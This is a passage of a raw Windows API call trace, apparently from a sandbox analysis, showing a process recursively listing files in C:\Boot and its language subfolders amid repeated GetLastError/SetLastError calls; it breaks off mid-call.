[0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.934] SetLastError (dwErrCode=0x0) [0049.934] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.935] GetLastError () returned 0x0 [0049.935] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.936] GetLastError () returned 0x0 [0049.936] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.937] SetLastError (dwErrCode=0x0) [0049.937] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.938] SetLastError (dwErrCode=0x0) [0049.938] GetLastError () returned 0x0 [0049.939] SetLastError (dwErrCode=0x0) [0049.939] GetLastError () returned 0x0 [0049.939] SetLastError (dwErrCode=0x0) [0049.939] GetLastError () returned 0x0 [0049.939] SetLastError (dwErrCode=0x0) [0049.939] GetLastError () returned 0x0 [0049.939] SetLastError (dwErrCode=0x0) [0049.939] GetLastError () returned 0x0 [0049.939] SetLastError (dwErrCode=0x0) [0049.939] SetEvent (hEvent=0x158) returned 1 [0049.939] ResetEvent (hEvent=0x15c) returned 1 [0049.939] FindNextFileW (in: hFindFile=0x4cdad0, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0049.939] FindClose (in: hFindFile=0x4cdad0 | out: hFindFile=0x4cdad0) returned 1 [0049.941] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ac73c8 | out: hHeap=0xab0000) returned 1 [0049.941] FindNextFileW (in: hFindFile=0x4cda90, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0049.941] FindClose (in: hFindFile=0x4cda90 | out: hFindFile=0x4cda90) returned 1 [0049.942] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0049.942] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0049.942] GetLastError () returned 0x12 [0049.942] SetLastError (dwErrCode=0x12) [0049.942] GetLastError () returned 0x12 [0049.942] SetLastError (dwErrCode=0x12) [0049.942] GetLastError () returned 0x12 [0049.942] SetLastError (dwErrCode=0x12) [0049.942] GetLastError () returned 0x12 [0049.942] SetLastError (dwErrCode=0x12) [0049.942] GetLastError () returned 0x12 [0049.943] SetLastError (dwErrCode=0x12) [0049.943] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2ab73c0 [0049.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d28d0 [0050.026] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0050.026] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8a67a2e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0xc2aeb1d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0050.026] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc2ac5070, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0050.026] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.027] GetLastError () returned 0x12 [0050.027] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.028] SetLastError (dwErrCode=0x12) [0050.028] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.029] SetLastError (dwErrCode=0x12) [0050.029] GetLastError () returned 0x12 [0050.030] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0050.030] GetLastError () returned 0x12 [0050.030] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0050.031] GetLastError () returned 0x12 [0050.031] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0050.031] GetLastError () returned 0x12 [0050.040] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0050.047] GetLastError () returned 0x12 [0050.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*" (normalized: "c:\\boot\\cs-cz\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.048] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.048] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.049] GetLastError () returned 0x12 [0050.049] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.049] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.049] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.049] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0050.049] GetLastError () returned 0x12 [0050.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*" (normalized: "c:\\boot\\da-dk\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.049] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.049] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.049] GetLastError () returned 0x12 [0050.050] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.050] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.050] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.050] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0050.050] GetLastError () returned 0x12 [0050.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*" (normalized: "c:\\boot\\de-de\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.050] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.050] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.050] GetLastError () returned 0x12 [0050.051] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.051] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.051] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.051] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0050.051] GetLastError () returned 0x12 [0050.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*" (normalized: "c:\\boot\\el-gr\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d39a8 [0050.051] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.051] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.051] GetLastError () returned 0x12 [0050.051] FindNextFileW (in: hFindFile=0x4d39a8, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.051] FindClose (in: hFindFile=0x4d39a8 | out: hFindFile=0x4d39a8) returned 1 [0050.051] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.052] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, 